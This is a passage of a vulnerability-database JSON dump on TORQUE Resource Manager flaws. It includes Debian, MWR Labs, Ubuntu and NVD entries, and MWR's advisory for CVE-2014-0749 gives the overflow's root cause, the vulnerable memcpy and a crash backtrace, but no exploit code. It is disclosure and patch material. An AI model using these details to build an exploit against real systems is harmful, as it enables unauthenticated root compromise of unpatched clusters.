2.4.8+dfsg-9squeeze4.\r\n\r\nFor the stable distribution &#40;wheezy&#41;, this problem has been fixed in\r\nversion 2.4.16+dfsg-1+deb7u3.\r\n\r\nFor the unstable distribution &#40;sid&#41;, this problem has been fixed in\r\nversion 2.4.16+dfsg-1.4.\r\n\r\nWe recommend that you upgrade your torque packages.\r\n\r\nFurther information about Debian Security Advisories, how to apply\r\nthese updates to your system and frequently asked questions can be\r\nfound at: http://www.debian.org/security/\r\n\r\nMailing list: debian-security-announce@lists.debian.org\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1\r\n\r\niQIcBAEBCgAGBQJTfxKGAAoJEAVMuPMTQ89EQp8QAJnp462bdRlyCSh0flxIxdnF\r\nm1TwK9I76qWhbxIF/f6uxFB/AF7lMkLtHzNPvfZr4GwNXNgcb9oTSf4vs1olccwI\r\nVfJsvt1vwaAhKjFmTiP8LlnAfL7LPFnOIs7yYVquLZ2pDOYlgOTQURL5sSSiSJ/H\r\n8IjxgvASJMPLF/vQNTBOxOKJhqerloQXmBtHbYuMwglOx4c6K+d8mNTMlB1TO+M2\r\nKO90E5PBq1gK3tJ02XXy4/ykS3bqBaW6U7IvEtzCC8z/yxoqIvZFQwdWKHDjB2wE\r\na6RTzNUD9p24ShXLzabJQGD++H+3VnpECzj+wjh1sQN8pE/2KlzJoIiRfBsce3jt\r\n1mzvMBIJNwhie5VKRqI/KlEl6C+AAMqAIvXORWhO9HYmTcdD8YFpkAF28cW1f++C\r\nxwr3V1WKXZQnFHEO02sLoxKXcCinHvTF8C55vVlxZO6Lng06w5Braun46v8i0zGy\r\noq1Tu9kHF7DYsRaENStTBaeaq4SuVKzGxMtFN+HYZDAWxx1uRjZFyShr6BDup6im\r\nROS38IgdV1cuE7v1wnk8YVzxxryao+JYQgItGrsgabC3ojbUEvpUIObMZ6wdyA5Q\r\ndMSl6qxQWcQMG5ANmSDmnCUbYXGB0ibL/jUUXOuZCQbcSPABnr+KoQ6BG5BUEgRY\r\n290BbLzaKsviiMhHG0CN\r\n=rBXi\r\n-----END PGP SIGNATURE-----\r\n\r\n", "cvss3": {}, "published": "2014-05-29T00:00:00", "type": "securityvulns", "title": "[SECURITY] [DSA 2936-1] torque security update", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2014-0749"], "modified": "2014-05-29T00:00:00", "id": "SECURITYVULNS:DOC:30762", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:30762", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:52", "description": "\r\n\r\nA buffer overflow exists in versions of TORQUE which can be exploited in order to remotely execute code from an unauthenticated perspective. This issue is exploitable in all versions of the 2.5 branch, upto and including 2.5.13\r\n\r\nSoftware: TORQUE\r\nAffected Versions: All 2.5 releases up to and including 2.5.13\r\nCVE Reference: CVE-2014-0749\r\nAuthors: John Fitzpatrick &#40;MWR Labs&#41;\r\nSeverity: High Risk\r\nVendor: Adaptive Computing\r\nVendor Response: Incorporated MWR supplied fix into 2.5 development branch, no advisory\r\n\r\n[Description]\r\n\r\nA buffer overflow exists in older versions of TORQUE which can be exploited in order to remotely execute code from an unauthenticated perspective. This issue is exploitable in all versions of the 2.5 branch, up to and including 2.5.13.\r\n\r\n\r\n[Impact]\r\n\r\nSuccessful exploitation allows remote execution of code as root.\r\n\r\n\r\n[Cause]\r\n\r\nThis issue exists as a result of a misplaced bounds check.\r\n\r\n\r\n[Solution]\r\n\r\nDespite still being widely used Torque 2.5.x is now end of life and no longer supported by Adaptive. The latest version of the 2.5 branch &#40;2.5.13&#41; is vulnerable to this issue. MWR have submitted a fix to the 2.5-dev GitHub repository &#40;which is still active&#41; which resolves this issue. It is strongly recommended that a version of 2.5-dev &#40;later than pull request #171&#41; is updated to.\r\n\r\nCode changes in the 4.2.x branch significantly enhance the security posture of TORQUE and so MWR would recommend updating to this branch if possible.\r\n\r\n\r\n[Technical Details]\r\n\r\nTORQUE is a widely used resource manager. There are several branches 2.x, 3.x and 4.\u0427. The code is open source, but maintained by Adaptive Computing.\r\nOperations such as job submissions and querying of job queues within TORQUE are handled by the pbs_server component. It was found that the pbs_server did not perform sufficient bounds checking on messages sent to it. As a result it was found to be possible to submit messages which resulted in an overflow leading to arbitrary code execution. This could be achieved from a remote, unauthenticated perspective regardless of whether the source IP address is permitted to submit jobs or not.\r\n\r\nThe vulnerability exists because the file disrsi_.c fails to ensure that the length of count &#40;which is read from the request packet&#41; is less than dis_umaxd prior to being used in a later memcpy&#40;&#41;. As a result a specially crafted request can smuggle through a count value which is later decremented and becomes the ct value in a memcpy&#40;&#41; made from within tcp_gets&#40;&#41;:\r\n\r\nmemcpy&#40;&#40;char *&#41;str, tp-&gt;tdis_leadp, ct&#41;;\r\n\r\nThis failure to validate count allows control over the size of the memcpy&#40;&#41; to be leveraged and as a result control over the amount of data read from the remainder of the packet. If this value is large the memcpy&#40;&#41; will overwrite the stack and so can be leveraged in order to gain control over the execution of the program.\r\n\r\nA backtrace showing the flow of execution is shown below:\r\n\r\n#0 0x0000003dd4a88b9a in memcpy &#40;&#41; from /lib64/libc.so.6\r\n#1 0x00007fa0008cb65b in tcp_gets &#40;fd=11, str=0x7fff8dfce741 &#39;3&#39; &lt;repeats 26 times&gt;,\r\n&quot;Ab1Ab2Ab3&quot;,\r\nct=332&#41; at ../Libifl/tcp_dis.c:567\r\n#2 0x00007fa0008be994 in disrsi_ &#40;stream=11, negate=0x7fff8dfce93c, value=0x7fff8dfce938,\r\ncount=333&#41;\r\nat ../Libdis/disrsi_.c:187\r\n#3 0x00007fa0008bea1a in disrsi_ &#40;stream=11, negate=0x7fff8dfce93c, value=0x7fff8dfce938,\r\ncount=&lt;value optimized out&gt;&#41; at ../Libdis/disrsi_.c:216\r\n#4 0x00007fa0008bea1a in disrsi_ &#40;stream=11, negate=0x7fff8dfce93c, value=0x7fff8dfce938,\r\ncount=&lt;value optimized out&gt;&#41; at ../Libdis/disrsi_.c:216\r\n#5 0x00007fa0008bdfab in disrfst &#40;stream=11, achars=33, value=0x27f0b58 &quot;&quot;&#41;\r\nat ../Libdis/disrfst.c:125\r\n#6 0x00007fa0008c13ba in decode_DIS_ReqHdr &#40;sock=11, preq=0x27f0b20,\r\nproto_type=0x7fff8dfce9dc,\r\nproto_ver=0x7fff8dfce9d8&#41; at ../Libifl/dec_ReqHdr.c:141\r\n#7 0x0000000000409ba1 in dis_request_read &#40;sfds=11, request=0x27f0b20&#41; at dis_read.c:137\r\n#8 0x000000000041cb6e in process_request &#40;sfds=11&#41; at process_request.c:355\r\n#9 0x00007fa0008d4899 in wait_request &#40;waittime=&lt;value optimized out&gt;, SState=0x72c258&#41;\r\nat ../Libnet/net_server.c:508\r\n#10 0x000000000041afeb in main_loop &#40;&#41; at pbsd_main.c:1203\r\n#11 0x000000000041bd15 in main &#40;argc=&lt;value optimized out&gt;, argv=&lt;value optimized out&gt;&#41;\r\nat pbsd_main.c:1760\r\n\r\nTORQUE is required to run as root and so successful exploitation leads to code execution as root. MWR have created a proof of concept exploit for TORQUE running on 64bit versions of CentOS which makes use of return oriented programming and ROP gadgets in order to execute arbitrary code as root. This vulnerability can be exploited reliably and remotely. It is possible to reach this path of execution from a remote and unauthenticated perspective &#40;and regardless of whether the attackers system is in the acl_hosts list or not&#41;. It is expected that code execution within a 32bit environment is simpler to achieve.\r\n\r\nWhilst the necessary bounds check was found to be missing from all versions of TORQUE reviewed this issue was only found to be directly exploitable in the 2.5 branch; code changes which have taken place in the 4.x branches prevent the condition required for exploitation from being reached. The vulnerability exists because the necessary check on the size of count occurs too late within the disrsi_.c file. The fix is, therefore, to introduce the appropriate check on the size of \u201ccount\u201d. Replacing disrsi_.c with the patched 2.5-dev version &#40;https://github.com/adaptivecomputing/torque/blob/2.5-dev/src/lib/Libdis/disrsi_.c&#41; and recompiling should be sufficient to resolve this issue.\r\n\r\n\r\n[Detailed Timeline]\r\n\r\n2012: Vulnerability identified\r\n06/12/2012: Proof of concept developed\r\n22/07/2013: Vulnerability reported to Adaptive Computing\r\n20/08/2013: MWR requested update from Adaptive\r\n22/08/2013: Github pull request to resolve issue made by MWR with a fix\r\n21/01/2014: Further communication with Adaptive \r\n13/05/2014: Advisory published\r\n\r\n\r\n[Original Advisory]\r\n\r\nhttps://labs.mwrinfosecurity.com/system/assets/662/original/torque-buffer-overflow_2014-05-14.pdf\r\n\r\n", "cvss3": {}, "published": "2014-05-30T00:00:00", "type": "securityvulns", "title": "[CVE-2014-0749] TORQUE Buffer Overflow", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2014-0749"], "modified": "2014-05-30T00:00:00", "id": "SECURITYVULNS:DOC:30773", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:30773", "sourceData": "", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "ubuntucve": [{"lastseen": "2022-08-04T14:31:22", "description": "Terascale Open-Source Resource and Queue Manager (aka TORQUE Resource\nManager) before 2.5.9, when munge authentication is used, allows remote\nauthenticated users to impersonate arbitrary user accounts via unspecified\nvectors.\n\n#### Notes\n\nAuthor| Note \n---|--- \n[sbeattie](<https://launchpad.net/~sbeattie>) | munge auth did not get added to torque until 2.5.3 see http://www.clusterresources.com/products/torque/docs/changelog.shtml#253\n", "cvss3": {}, "published": "2012-01-13T00:00:00", "type": "ubuntucve", "title": "CVE-2011-4925", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-4925"], "modified": "2012-01-13T00:00:00", "id": "UB:CVE-2011-4925", "href": "https://ubuntu.com/security/CVE-2011-4925", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}}, {"lastseen": "2022-08-04T14:32:46", "description": "Terascale Open-Source Resource and Queue Manager (aka TORQUE Resource\nManager) 3.0.1 and earlier allows remote attackers to bypass host-based\nauthentication and submit arbitrary jobs via a modified PBS_O_HOST variable\nto the qsub program.\n\n#### Bugs\n\n * <https://bugzilla.redhat.com/show_bug.cgi?id=713090>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[ebarretto](<https://launchpad.net/~ebarretto>) | Closing this as: Not fixable, would need an update to a release with MUNGE support, clusters typically run in locked down environments\n", "cvss3": {}, "published": "2011-08-15T00:00:00", "type": "ubuntucve", "title": "CVE-2011-2907", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-2907"], "modified": "2011-08-15T00:00:00", "id": "UB:CVE-2011-2907", "href": "https://ubuntu.com/security/CVE-2011-2907", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-08-04T14:33:11", "description": "Multiple buffer overflows in Terascale Open-Source Resource and Queue\nManager (aka TORQUE Resource Manager) 2.x before 2.4.14, 2.5.x before\n2.5.6, and 3.x before 3.0.2 allow (1) remote authenticated users to gain\nprivileges via a long Job_Name field in a qsub command to the server, and\nmight allow (2) local users to gain privileges via vectors involving a long\nhost variable in pbs_iff.\n\n#### Bugs\n\n * <https://bugzilla.redhat.com/show_bug.cgi?id=711463>\n", "cvss3": {}, "published": "2011-06-24T00:00:00", "type": "ubuntucve", "title": "CVE-2011-2193", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 8.5, "vectorString": "AV:N/AC:M/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-2193"], "modified": "2011-06-24T00:00:00", "id": "UB:CVE-2011-2193", "href": "https://ubuntu.com/security/CVE-2011-2193", "cvss": {"score": 8.5, "vector": "AV:N/AC:M/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-08-04T14:23:50", "description": "pbs_mom in Terascale Open-Source Resource and Queue Manager (aka TORQUE\nResource Manager) 2.5.x, 4.x, and earlier does not properly restrict access\nby unprivileged ports, which allows remote authenticated users to execute\narbitrary jobs by submitting a command.\n\n#### Bugs\n\n * <http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=722306>\n", "cvss3": {}, "published": "2013-10-11T00:00:00", "type": "ubuntucve", "title": "CVE-2013-4319", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4319"], "modified": "2013-10-11T00:00:00", "id": "UB:CVE-2013-4319", "href": "https://ubuntu.com/security/CVE-2013-4319", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-08-04T14:23:23", "description": "The send_the_mail function in server/svr_mail.c in Terascale Open-Source\nResource and Queue Manager (aka TORQUE Resource Manager) before 4.2.6\nallows remote attackers to execute arbitrary commands via shell\nmetacharacters in the email (-M switch) to qsub.", "cvss3": {}, "published": "2013-11-20T00:00:00", "type": "ubuntucve", "title": "CVE-2013-4495", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4495"], "modified": "2013-11-20T00:00:00", "id": "UB:CVE-2013-4495", "href": "https://ubuntu.com/security/CVE-2013-4495", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-08-04T14:20:59", "description": "Stack-based buffer overflow in lib/Libdis/disrsi_.c in Terascale\nOpen-Source Resource and Queue Manager (aka TORQUE Resource Manager) 2.5.x\nthrough 2.5.13 allows remote attackers to execute arbitrary code via a\nlarge count value.", "cvss3": {}, "published": "2014-05-16T00:00:00", "type": "ubuntucve", "title": "CVE-2014-0749", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2014-0749"], "modified": "2014-05-16T00:00:00", "id": "UB:CVE-2014-0749", "href": "https://ubuntu.com/security/CVE-2014-0749", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "cve": [{"lastseen": "2023-02-13T14:11:45", "description": "Terascale Open-Source Resource and Queue Manager (aka TORQUE Resource Manager) before 2.5.9, when munge authentication is used, allows remote authenticated users to impersonate arbitrary user accounts via unspecified vectors.", "cvss3": {}, "published": "2012-01-13T04:14:00", "type": "cve", "title": "CVE-2011-4925", "cwe": ["CWE-264"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 6.8, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.9, "vectorString": "AV:N/AC:M/Au:S/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-4925"], "modified": "2012-02-02T04:09:00", "cpe": ["cpe:/a:clusterresources:torque_resource_manager:2.4.3", "cpe:/a:clusterresources:torque_resource_manager:2.4.7", "cpe:/a:clusterresources:torque_resource_manager:2.4.1", "cpe:/a:clusterresources:torque_resource_manager:2.5.2", "cpe:/a:clusterresources:torque_resource_manager:2.5.4", "cpe:/a:clusterresources:torque_resource_manager:2.3.2", "cpe:/a:cluster_resources:torque_resource_manager:1.1.0p4", "cpe:/a:cluster_resources:torque_resource_manager:1.1.0p3", "cpe:/a:cluster_resources:torque_resource_manager:1.1.0p6", "cpe:/a:clusterresources:torque_resource_manager:2.3.8", "cpe:/a:cluster_resources:torque_resource_manager:1.0.1p0", "cpe:/a:clusterresources:torque_resource_manager:2.4.8", "cpe:/a:cluster_resources:torque_resource_manager:1.0.1p6", "cpe:/a:cluster_resources:torque_resource_manager:2.0.0p3", "cpe:/a:clusterresources:torque_resource_manager:2.3.4", "cpe:/a:cluster_resources:torque_resource_manager:2.0.0p4", "cpe:/a:clusterresources:torque_resource_manager:2.5.1", "cpe:/a:clusterresources:torque_resource_manager:2.5.8", "cpe:/a:clusterresources:torque_resource_manager:2.4.0", "cpe:/a:cluster_resources:torque_resource_manager:2.0.0p0", "cpe:/a:cluster_resources:torque_resource_manager:1.0.1p1", "cpe:/a:clusterresources:torque_resource_manager:2.4.5", "cpe:/a:cluster_resources:torque_resource_manager:1.1.0p1", "cpe:/a:cluster_resources:torque_resource_manager:2.0.0p5", "cpe:/a:clusterresources:torque_resource_manager:2.3.3", "cpe:/a:cluster_resources:torque_resource_manager:2.0.0p1", "cpe:/a:clusterresources:torque_resource_manager:2.5.3", "cpe:/a:clusterresources:torque_resource_manager:2.3.7", "cpe:/a:clusterresources:torque_resource_manager:2.4.11", "cpe:/a:clusterresources:torque_resource_manager:2.5.5", "cpe:/a:clusterresources:torque_resource_manager:2.4.4", "cpe:/a:clusterresources:torque_resource_manager:2.3.0", "cpe:/a:clusterresources:torque_resource_manager:2.2.0", "cpe:/a:cluster_resources:torque_resource_manager:1.2.0p5", "cpe:/a:clusterresources:torque_resource_manager:2.3.12", "cpe:/a:cluster_resources:torque_resource_manager:2.0.0p2", "cpe:/a:cluster_resources:torque_resource_manager:1.0.1p5", "cpe:/a:cluster_resources:torque_resource_manager:1.2.0p6", "cpe:/a:clusterresources:torque_resource_manager:2.3.1", "cpe:/a:cluster_resources:torque_resource_manager:1.1.0p2", "cpe:/a:clusterresources:torque_resource_manager:2.1.0p0", "cpe:/a:clusterresources:torque_resource_manager:2.3.6", "cpe:/a:cluster_resources:torque_resource_manager:1.0.1p3", "cpe:/a:cluster_resources:torque_resource_manager:1.0.1p2", "cpe:/a:clusterresources:torque_resource_manager:2.4.12", "cpe:/a:cluster_resources:torque_resource_manager:1.2.0p1", "cpe:/a:cluster_resources:torque_resource_manager:1.2.0p2", "cpe:/a:clusterresources:torque_resource_manager:2.5.7", "cpe:/a:clusterresources:torque_resource_manager:2.3.9", "cpe:/a:cluster_resources:torque_resource_manager:1.2.0p4", "cpe:/a:clusterresources:torque_resource_manager:2.3.5", "cpe:/a:clusterresources:torque_resource_manager:2.4.10", "cpe:/a:cluster_resources:torque_resource_manager:1.1.0p0", "cpe:/a:clusterresources:torque_resource_manager:2.1.2", "cpe:/a:clusterresources:torque_resource_manager:2.3.10", "cpe:/a:cluster_resources:torque_resource_manager:1.2.0p3", "cpe:/a:clusterresources:torque_resource_manager:2.1.1", "cpe:/a:clusterresources:torque_resource_manager:2.4.9", "cpe:/a:clusterresources:torque_resource_manager:2.5.6", "cpe:/a:clusterresources:torque_resource_manager:2.4.2", "cpe:/a:clusterresources:torque_resource_manager:2.3.11", "cpe:/a:cluster_resources:torque_resource_manager:1.1.0p5", "cpe:/a:clusterresources:torque_resource_manager:2.4.6", "cpe:/a:cluster_resources:torque_resource_manager:2.0.0p6", "cpe:/a:cluster_resources:torque_resource_manager:1.2.0p0", "cpe:/a:clusterresources:torque_resource_manager:2.5.0", "cpe:/a:cluster_resources:torque_resource_manager:1.0.1p4"], "id": "CVE-2011-4925", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-4925", "cvss": {"score": 4.9, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:clusterresources:torque_resource_manager:2.4.9:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.4:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.1.0p3:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:2.0.0p2:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.8:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.7:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.10:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:2.0.0p1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.5:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.4:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.6:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.11:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.8:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.6:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.1:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.1.0p2:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.7:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:2.0.0p4:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.4:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.2:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.5:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.10:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:2.0.0p3:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:2.0.0p5:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.12:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.2:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.2.0p4:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.2.0p1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.0.1p6:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.9:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.0.1p5:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.1.0p4:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.1.0p0:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.0.1p1:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.1.0p5:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.1.0p6:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:2.0.0p6:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.12:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.11:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.3:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.1.0p0:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.0:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.6:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.2.0p3:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.2.0p6:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.0.1p2:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.1.0p1:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.3.3:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.2.0p0:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.0.1p4:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.0:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.0.1p3:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:2.0.0p0:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.2.0p2:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.7:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.5.8:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.5:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.2.0p5:*:*:*:*:*:*:*", "cpe:2.3:a:cluster_resources:torque_resource_manager:1.0.1p0:*:*:*:*:*:*:*", "cpe:2.3:a:clusterresources:torque_resource_manager:2.4.3:*:*:*:*:*:*:*"]}, {"lastseen": "2023-02-13T14:06:03", "description": "Terascale Open-Source Resource and Queue Manager (aka TORQUE Resource Manager) 3.0.1 and earlier allows remote attackers to bypass host-based authentication and submit arbitrary jobs via a modified PBS_O_HOST variable to the qsub program.", "cvss3": {}, "published": "2011-08-15T19:55:00", "type": "cve", "title": "CVE-2011-2907", "cwe": ["CWE-287"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2011-2907"], "modified": "2017-08-29T01:29:00", "cpe": ["cpe:/a:clusterresources:torque_resource_manager:2.4.3", "cpe:/a:clusterresources:torque_resource_manager:2.4.7", "cpe:/a:clusterresources:torque_resource_manager:3.0.0", "cpe:/a:clusterresources:torque_resource_manager:2.5.2", "cpe:/a:clusterresources:torque_resource_manager:2.1.10", "cpe:/a:clusterresources:torque_resource_manager:2.5.4", "cpe:/a:clusterresources:torque_resource_manager:2.3.2", "cpe:/a:clusterresources:torque_resource_manager:2.3.8", "cpe:/a:clusterresources:torque_resource_manager:2.4.8", 